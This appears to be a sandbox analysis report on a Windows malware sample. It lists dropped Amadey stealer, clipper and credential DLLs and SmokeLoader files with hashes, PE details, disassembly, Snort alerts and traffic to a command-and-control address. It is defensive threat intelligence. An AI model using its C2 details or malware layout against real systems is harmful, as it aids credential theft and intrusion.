Preview:	YPSIACHYXWDOAOALJCJYYKHKMGYIZBYLJSULATZCLAKGTHKIZZZPZMBAJFNQKRWGKHDEEYLGCRMYXVOJCXPRDOFVVXDFSZNRLGLUNBQSCSVJXKHLUFNOKRCASVQNUJDYWNWTNGJYBIKCERFIRWTZVUUNKNCMUGKTMSRIVLFQTZDVSHZTYRURNPZRSHICVPPIWUNOSYRCNVXHOFETKZDTIEIOQHCHWHDXEDXBZFSWIFFLXTXQXUBJCTQSDGVAMQKTUHJAAEDEECWFOEDCAALGNKEQRGJPVEEVJPTSROUZFPHKPUHLAYRHVULFESXXGKSAIYLAVSWMISSCMRGVQGXFGFYXBQBRZHILLZQUJRQJHUVBFDBPCNUAKOXURUUUKQNRUEAXAAXWIVATBILRXVUBDTFNWUQLPZELETXDQPCWJXRRAQILAVVZFAMGUWUYYORCQNUYLSNLTNXIAWJVDTPNCZPHSWYWWTBBJECMEGHRCATJANBKSCMLVOBOTXPKGMTOJISGOTUUOFVJPAGNMHFSAFRHQUHMYURLAJVNZPEMNMUDZAUMRZHQJBWVCUSQAENWUTRFBUFUWIPJYVLYDUIBJSTTFGSFBHTKIXJNVJUYJGSHZHMDONOHBMLQDTHGTPLYVKGUXWHEYTHTWOOMQOGUFQGRWUYBVWILTRHBAIJHZKXNAQYAIZBPYWWZSBDWNPRWGFXHNPFFMHKCCERIWCTACKIVXLZBNOTBYDOPJBYTZWNSXYXVYPHAGUHBXKPPAFNZGWEKOBPXTCLBIOEIVWLELPXJAINCDBEUOIFMNFWSRDONSGUCNGDZLIAFVNUQXZMTVJLIACGEXXESAGRKCPJNTKZHMMCTJZCLWNTNEJFUCODLVBCJHINWJYBLRXSKLVKNYGPLXGKEHMXSDKIAPHRGHBOCHQEJPMJEKRMRTLJNYNRHDPPQKJHXGYJMDUOESMBVJOBKJWUUSSZEQAGHANSYFBHIZFXSLENBLJWCHGEM

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b0qbhkyo.loh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkjkdbag.cfy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pczw4dmb.5yk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4txu1a5.woj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\B88B.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446976
Entropy (8bit):	6.493556339745227
Encrypted:	false
SSDEEP:	12288:bRmHUjaD/yzl4gH8Mhb+L0mspumesPW1X8i5:naD/yzWgcxLirSsi5
MD5:	F1D836A36148E8D03BF2DF952E970FBD
SHA1:	8170E8A3633A479B9ABD91B31FD835CC2F34D690
SHA-256:	2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
SHA-512:	E073B93F5F082C9E57DB409B54207BE262791D4297E34111116ECFBA381BD0828E1FD5FE4988AF56AD75429E2CEB087D9A0DA9F07D9EC82C2E1B0231FD74D778
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 76%, Browse
Joe Sandbox View:	Filename: HJoRg2I07j.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L...N.Oe...........................[........@....@.......................................@.................................lK...................................O.. ...8...........................X...@............@...............................text....(......................... ..`.rdata.......@......................@..@.data....F...`...4...L..............@....rsrc...............................@..@.reloc...O.......P..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\D4C0.vmt.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31232
Entropy (8bit):	7.852316070293753
Encrypted:	false
SSDEEP:	768:QVKaUWVgbStx+y4+LK2rTMk6vAZ2HtIWVpw5/:QEaP6QxNxTMSYted
MD5:	B45B01A98A16E750EFE0C5BCE4613896
SHA1:	CEC51D154000397F0E54C5E79DDF47E10C32E205
SHA-256:	09846F324BEE9384EE50934E61B417FDE37B86D4CA60530E77C4D63920D3E94C
SHA-512:	FC5F3486CD099AFAFD86450A55405E3A2F4A28EE0E5653C0F3684AA097F6524A09A11BBE94AA7027E0022C4D4A4A1F0389BCD23D1C4381406518D5B6888FD5A1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L......d...............H.x...........3............@..................................9...............................................................................................................................................................text....v.......x.................. ...................................................................................................4h.I....3..'P...FE..cZ.%.v.}..)^..'`$....`....W...P!F.A.d.Qa.,...{3...x(1.m.[.....e..z6..(@ZW.c...6;`.@..yy..QZ.{.,...?..%xMH.HY..(..).}....L9....L.(....q.-0....MP....e....2.0.!.S..G$/8.;..QA.9_.s9.........hv....;.....{}.j...v.........G.;..R..b.f.-.Rad`....;1.'...y{......V:..UI.....+x..n......r1i..2..^.6'aQ.......38..(\.:..s.=PX... .^...#..txV.....j..jp...N.{Z....$ &....R..L......h.Zt..pC9..OUJ\..\..Y9.v=....@......e.D......a..&....B.......!..K.4.Jq....9...

C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	103936
Entropy (8bit):	6.391935613542699
Encrypted:	false
SSDEEP:	3072:mHEjxEgia++FOKm2KosmYruQRgIQrT7xUzYNS60Z:ysdvg2s9ruQRYhNS60Z
MD5:	4200C3DBC1DB31282178F66575E734ED
SHA1:	679773260BDD8E771E7D08641EB2CD82FDD0286D
SHA-256:	F5DC9EBD7C1BAC579956E39310965ABB222D25C334171AD8245354C20EC39867
SHA-512:	508E38A929E5E812D6552CCEE3653CB7C892295204556F696E0400FBEA57AD2B835B17833163D1719B01444102A8AB42A1EA026684F0ACDC9C6C1810B0585EBE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...J.Oe...........!.................f....... ............................................@..........................y......Lz..P....................................n..8............................n..@............ ..H............................text............................... ..`.rdata...a... ...b..................@..@.data................t..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1257472
Entropy (8bit):	6.460821604219607
Encrypted:	false
SSDEEP:	24576:gxYTyT6AMgQZvBHa726ZwccIIF1cV6n6zyYgEFzd6:lAMgQ7672swJIR06WF
MD5:	2A2F2CD836320D73654863E821B7D488
SHA1:	27227BC15623164D70CB56142DF2EEB395B056F4
SHA-256:	D1A323576F4D8F3681473523C237D6F71232EEA2570C2D2837CDF538A91CE3D0
SHA-512:	DACE05FFE9004EB9E1BA22288B97E17806037C0D666D4DBA86116F75E08AAE1A2A62A15E41C2A319CB51C19CE6F8366F281FCD78197962BEA7BB356F7FA3B8C8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 70%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.M#u.#pu.#pu.#p..'qg.#p.. q~.#p..&q.#p..&q3.#p..'qz.#p.. q\|.#p.."qx.#pu."p..#p..*qq.#p..#qt.#p...pt.#p..!qt.#pRichu.#p................PE..d...H.Oe.........." .....\..........H.....................................................`......................................... !..X...x!.......................................7..p...........................08...............p...............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...L....@...B...&..............@....pdata...............h..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\shbwgah

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	400074
Entropy (8bit):	7.9996140269117735
Encrypted:	true
SSDEEP:	12288:Z868NFcHKqFE7T9QZGm4ojYLwKyJ+9vawkq3sHtJ:Zm0y7T9i34oUsqaLq3sHf
MD5:	40A39DF12EFB1FA65E7B3EEF085E9B1D
SHA1:	632BF6F0D39EA703E3BAB83DB81B04F7EDC4AAFE
SHA-256:	7675D28457A245B59548619E379B84C89AECB94B19FBF49387B595844D76883B
SHA-512:	CFCD703227318EEC527ED3F77C6C32C5134C58F2F4D0210C1A1A8C0B609C4B25CBC651E96999E0FC5C63246BA46BCF3551A9C4D79B8B9BB6E085EE8EC3D86357
Malicious:	false
Preview:	...9!.....a.}..z.RHF...=..BQ._3k.......-.......n...Z.oF.....m..p.v..6.;.....R.Y8.@.d`b!....1]Ls..N.y.!.....%B.s[.`..@.T.i..}..\|.....bW.k..Xz.k\R.A.C+.....x=>8n.m0@....f4.N..N.]H....}...{g. ...T.~...(N.b;..:...t.CP..<.4...+..... .G].`>....R.....$@..j:-.u.......Q.`X.<0..P.EaS(.0.u..NF..+.g...v3......rtql.b.(w(.JYvLj.if}........._Z......K.n8......T...#....>_(..K..e..."...(ND..u...>v:.!...(.a..Q3..4Q.v..t."9>..._...M.0.L.....Q.[....F...>..........SEN.B.\|..d........E.=.}.z...-H..,....bw....#).0.[.q..m..R.\Wdum.'.4-...(..bZ.1....V...mWJ..A.?...O..._.S...R..G.B.~.H.'\9.e. ..@......W.k..o.......k.Np"1.8..^j.t..S......)..iY..p]..PlT..qZ..C.t5.f.......=..kW4p.EL!.s.~.b.r.7w.V8..qX.,h..Z.Y...Y.M.i....G.4..`.W...Ug3..T$.k..$.......$p..1./.{i8.~.......,....`.=i.z.c..1z.........<...^....S..M..*....G..,..I..{D&.........Y<...w..u.+B.p.GE.....2.I.t.y3.......5.z..}o..j..'=...8..I... Y....Q.pNJ...J.2........s..:.oy%..%...}...j.o.J>..l.p...k}./...U.

C:\Users\user\AppData\Roaming\utihrjr

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31232
Entropy (8bit):	7.852316070293753
Encrypted:	false
SSDEEP:	768:QVKaUWVgbStx+y4+LK2rTMk6vAZ2HtIWVpw5/:QEaP6QxNxTMSYted
MD5:	B45B01A98A16E750EFE0C5BCE4613896
SHA1:	CEC51D154000397F0E54C5E79DDF47E10C32E205
SHA-256:	09846F324BEE9384EE50934E61B417FDE37B86D4CA60530E77C4D63920D3E94C
SHA-512:	FC5F3486CD099AFAFD86450A55405E3A2F4A28EE0E5653C0F3684AA097F6524A09A11BBE94AA7027E0022C4D4A4A1F0389BCD23D1C4381406518D5B6888FD5A1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\utihrjr, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L......d...............H.x...........3............@..................................9...............................................................................................................................................................text....v.......x.................. ...................................................................................................4h.I....3..'P...FE..cZ.%.v.}..)^..'`$....`....W...P!F.A.d.Qa.,...{3...x(1.m.[.....e..z6..(@ZW.c...6;`.@..yy..QZ.{.,...?..%xMH.HY..(..).}....L9....L.(....q.-0....MP....e....2.0.!.S..G$/8.;..QA.9_.s9.........hv....;.....{}.j...v.........G.;..R..b.f.-.Rad`....;1.'...y{......V:..UI.....+x..n......r1i..2..^.6'aQ.......38..(\.:..s.=PX... .^...#..txV.....j..jp...N.{Z....$ &....R..L......h.Zt..pC9..OUJ\..\..Y9.v=....@......e.D......a..&....B.......!..K.4.Jq....9...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.965355900803049
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	e7CLP6462y.exe
File size:	490'496 bytes
MD5:	d9a13bb5645fe754cdc2a10a638660f4
SHA1:	9922a24b92892f920430ae204954dc6e6e1758ff
SHA256:	82a6847b83bf25cb582bb942735a32197bd9b7b490ce50f34c4976005f4f9bed
SHA512:	d51f1e2e9ccd77fc5da91bdd7dbe5e7eafc812497e27f171f2b1f3475bc11953e580321793bf127d850fba0f1b244617daa517283b9379bfbb16cfa36f6773bd
SSDEEP:	12288:/rrb2iDiSOv4VBHMQhPymqTCYw4oUGbjnm:/7DB/Dym1YANPnm
TLSH:	ADA46B62BBF59D88CD5D33F3C8506BE5065A433642F3E3885D286A52673F6698B0B13C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b...&...&...&...I...$.......'...I...-.....L.+...&........2\|.$...&...$....2m.'....2i.'...Rich&...........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x426752
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x645F7B5E [Sat May 13 11:58:22 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1691b1f290a2ca836b091bdcee4ba1dd

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 004872F0h
push 004268E0h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [004370CCh]
pop ecx
or dword ptr [00488038h], FFFFFFFFh
or dword ptr [0048803Ch], FFFFFFFFh
call dword ptr [004370C8h]
mov ecx, dword ptr [00488034h]
mov dword ptr [eax], ecx
call dword ptr [004370C4h]
mov ecx, dword ptr [00488030h]
mov dword ptr [eax], ecx
mov eax, dword ptr [004370C0h]
mov eax, dword ptr [eax]
mov dword ptr [00488040h], eax
call 00007F58044F3305h
cmp dword ptr [00488010h], ebx
jne 00007F58044F31FEh
push 004268CEh
call dword ptr [004370D8h]
pop ecx
call 00007F58044F32D7h
push 0048800Ch
push 00488008h
call 00007F58044F32C2h
mov eax, dword ptr [0048802Ch]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [00488028h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00437098h]
push 00488004h
push 00488000h
call 00007F58044F328Fh

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[RES] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x872fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x89000	0x400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8a000	0x290	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x37000	0x23c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x258ec	0x25a00	b51d70cf3a4c49b3a4b0b21eb77f7d78	False	0.45113943106312293	data	5.923090548447589	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.textbss	0x27000	0x10000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x37000	0x50d48	0x50e00	42a074b730e2f9181ba3235beadd32e1	False	0.6434082785935085	data	5.196360079919288	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x88000	0x44	0x200	598e1aae6ecbd8237c4383f4be94b9f1	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x89000	0x400	0x400	75e68ee0c9f7d750cf884a72d5340dbd	False	0.412109375	data	3.262459715174464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8a000	0x8dc	0xa00	7eeb51f87f74d8d386b91da9818cf384	False	0.2453125	data	2.383131233823315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x89060	0x3a0	data	English	United States	0.4224137931034483

Imports

DLL	Import
KERNEL32.dll	HeapCreate, GetModuleHandleA, CreateEventA, WaitForSingleObject, CloseHandle, HeapDestroy, GetModuleFileNameW, lstrlenW, HeapFree, HeapAlloc, MulDiv, GetProcessHeap, GetStartupInfoA
USER32.dll	DestroyCursor, EndMenu, DispatchMessageW, BeginPaint, GetClientRect, IsIconic, DrawMenuBar, CreateWindowExW, GetClassInfoExW, ShowCaret, DefMDIChildProcW, InsertMenuW, CreateIcon, MsgWaitForMultipleObjectsEx, GetSystemMenu, LoadStringW, EndPaint, LoadBitmapW, GetScrollPos, CharUpperBuffW, LoadCursorW, DefFrameProcW, GetDlgCtrlID, GetClassInfoW, DrawFocusRect, SetScrollPos, RegisterClassW, IsDialogMessageW, CopyImage, GetScrollRange, SetTimer, GetCursor, KillTimer, FillRect, DeleteMenu, DestroyMenu, GetDCEx, FrameRect, GetWindowTextW, ReleaseDC, PeekMessageW, ShowWindow, GetMenuStringW, DrawIcon, SetMenuItemInfoW, DestroyWindow, GetScrollInfo, DestroyIcon, CreateMenu, LoadIconW, PostMessageW, CreateAcceleratorTableW, EnableWindow, GetMenuItemInfoW, IsZoomed
GDI32.dll	SetBkMode, CreateCompatibleBitmap, AngleArc, StretchBlt, CreatePalette, PolyBezierTo, MoveToEx, RectVisible, SetRectRgn, GetEnhMetaFileHeader, GetStockObject, SetTextColor, RoundRect, GetWindowOrgEx, CreateICW, CreateSolidBrush, RestoreDC, Polygon, CreateDCW, GetTextMetricsW, Pie, SetAbortProc
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, IsEqualGUID, CoTaskMemAlloc, CoUninitialize, CoCreateInstance, CoInitialize
OLEAUT32.dll	VariantClear, SysAllocStringLen, SafeArrayGetLBound, SysReAllocStringLen, SafeArrayCreate, VariantInit, VariantChangeType, SafeArrayPutElement, SafeArrayPtrOfIndex, VariantCopyInd, SafeArrayUnaccessData, VariantCopy, SafeArrayAccessData, SafeArrayGetUBound, SysFreeString, SafeArrayGetElement, GetErrorInfo
MSVCRT.dll	_initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, memcpy, qsort, wcsrchr, memset, wcschr, _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, _except_handler3, _controlfp, __setusermatherr
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/09/24-14:54:20.908137	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49767	80	192.168.2.4	185.196.8.137
04/09/24-14:54:10.655809	TCP	2856151	ETPRO TROJAN Amadey CnC Activity M7	49747	80	192.168.2.4	185.196.8.137
04/09/24-14:54:10.942323	TCP	2855239	ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST)	49749	80	192.168.2.4	185.196.8.137
04/09/24-14:54:11.625073	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49751	80	192.168.2.4	185.196.8.137
04/09/24-14:54:14.059259	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49755	80	192.168.2.4	185.196.8.137
04/09/24-14:54:22.899083	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49770	80	192.168.2.4	185.196.8.137
04/09/24-14:54:25.088071	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49774	80	192.168.2.4	185.196.8.137
04/09/24-14:54:02.339693	TCP	2039103	ET TROJAN Suspected Smokeloader Activity (POST)	49739	80	192.168.2.4	185.196.8.137
04/09/24-14:54:04.555191	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49740	80	192.168.2.4	185.196.8.137
04/09/24-14:54:12.672268	TCP	2855240	ETPRO TROJAN Win32/Amadey Stealer Activity M5 (POST)	49749	80	192.168.2.4	185.196.8.137
04/09/24-14:54:16.384630	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49759	80	192.168.2.4	185.196.8.137
04/09/24-14:54:04.377071	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49740	80	192.168.2.4	185.196.8.137
04/09/24-14:54:07.168184	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49744	80	192.168.2.4	185.196.8.137
04/09/24-14:54:18.819999	TCP	2044597	ET TROJAN Amadey Bot Activity (POST) M1	49763	80	192.168.2.4	185.196.8.137

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 9, 2024 14:53:06.983109951 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.134327888 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.134470940 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.134613991 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.285818100 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.292083979 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.292104006 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.292208910 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.308028936 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.459098101 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.465403080 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.474651098 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.625790119 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.672810078 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.672832012 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.672872066 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.672913074 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.672991037 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.673032045 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.673036098 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.673099041 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.673132896 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.673163891 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.673274040 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.673315048 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.673345089 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.673367023 CEST	80	49730	216.250.255.115	192.168.2.4
